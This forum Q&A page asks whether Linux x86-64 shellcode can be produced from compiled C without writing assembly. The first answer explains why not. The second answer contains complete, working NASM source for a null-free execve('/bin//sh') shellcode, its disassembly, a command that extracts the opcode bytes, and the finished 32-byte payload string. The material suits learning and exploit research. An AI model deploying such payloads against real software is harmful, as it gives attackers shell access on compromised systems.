1

Is it possible to construct a shellcode without writing code in assembly?

I tried to compile the following simple application:

#include <stdlib.h>

int main(int argc, char** argv)
{
        char* args[] = { "/bin/bash", NULL };
        execve("bin/bash", &args, NULL);
        return 0;
}

Then I compiled it and used gdb to get the following:

(gdb) x/15i main
   0x400506 <main>:     push   %rbp
   0x400507 <main+1>:   mov    %rsp,%rbp
=> 0x40050a <main+4>:   sub    $0x20,%rsp
   0x40050e <main+8>:   mov    %edi,-0x14(%rbp)
   0x400511 <main+11>:  mov    %rsi,-0x20(%rbp)
   0x400515 <main+15>:  movq   $0x4005d4,-0x10(%rbp)
   0x40051d <main+23>:  movq   $0x0,-0x8(%rbp)
   0x400525 <main+31>:  lea    -0x10(%rbp),%rax
   0x400529 <main+35>:  mov    $0x0,%edx
   0x40052e <main+40>:  mov    %rax,%rsi
   0x400531 <main+43>:  mov    $0x4005de,%edi
   0x400536 <main+48>:  callq  0x4003f0 <execve@plt>
   0x40053b <main+53>:  mov    $0x0,%eax
   0x400540 <main+58>:  leaveq
   0x400541 <main+59>:  retq

Unfortunately I can't use this to generate shellcode, as there is a use of global offset table [main+48].

How can I fix this method to generate shellcode without going back to assembly.

1
  • I don't think you can get the compiler to generate code that can be used directly as shell code. Commented Apr 12, 2017 at 2:38

2 Answers 2

2

You can't.

The C compiler doesn't know how to generate system calls directly. All it knows how to do is call functions -- which uses the GOT.

(You can work around this by using inline assembler, but that's still "writing code in assembly", which you've said you want to avoid.)

Beyond that, you'll also find that the C compiler will generate assembly which incidentally contains null bytes. This will fail to work in many applications.

Learn how to write assembly, or use someone else's shellcode.

Sign up to request clarification or add additional context in comments.

Comments

0

Here's an example using /bin/sh and the stack method to cause to open a shell with execve.

I am currently going through Security Tube's Linux Assembly 64-bit coursework as well as reading Hacking, The Art of Exploitation, Jon Erickson; which uses x86 Assembly.

; David @InfinitelyManic
; execute_shellcode_stack.s
; nasm -felf64 -g -F dwarf execute_shellcode_stack.s -o execute_shellcode_stack.o  && ld execute_shellcode_stack.o -o execute_shellcode_stack
; code from course: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/
;
section .bss
section .data
section .text
        global _start
_start:
        ;  <syscall name="execve" number="59"/>
        ;  int execve(const char *filename, char *const argv[], char *const envp[]);
        ;  x86_64                 rdi                   rsi                 rdx       r10 r8 r9

        xor rax, rax                            ; null
        push rax                                ; push 0x00

        ; we need /bin//sh in hex in reverse
        ; rev <<< "/bin//sh" | xxd -g4
        ; 00000000: 68732f2f 6e69622f 0a                 hs//nib/.

        mov rbx, 0x68732f2f6e69622f     ; hs//nib/ ascii

        push rbx                        ; push '/bin//sh' to stack

        mov rdi, rsp                    ; _filename = '/bin//sh'0000

        push rax                        ; second null 0x00 ""

        mov rdx, rsp                    ; envp = array of strings == null

        push rdi                        ; push _filename

        mov rsi, rsp                    ; argv = array of argument strings  = _filename

        add rax, 59                     ; syscall # for execve

        syscall

objdump:

execute_shellcode_stack:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       48 31 c0                xor    rax,rax
  400083:       50                      push   rax
  400084:       48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  40008b:       2f 73 68
  40008e:       53                      push   rbx
  40008f:       48 89 e7                mov    rdi,rsp
  400092:       50                      push   rax
  400093:       48 89 e2                mov    rdx,rsp
  400096:       57                      push   rdi
  400097:       48 89 e6                mov    rsi,rsp
  40009a:       48 83 c0 3b             add    rax,0x3b
  40009e:       0f 05                   syscall

Generate shellcode for C prog:

$ for i in $(objdump -d execute_shellcode_stack | grep "^ " |cut -f2); do echo -n "\x"$i; done; echo
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

output:

 $ ./shellcode
Shellcode Length: 32
$

2 Comments

Maybe you missed it but the question asked was "Is it possible to construct a shellcode without writing code in assembly?" . Your answer uses assembly language exclusively.
Yes, I was aware of the question and that my answer was not on all fours. OP and others can choose to not allow the answer or mark it down. Just providing some help in context with "Learn how to write assembly, or use someone else's shellcode."

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.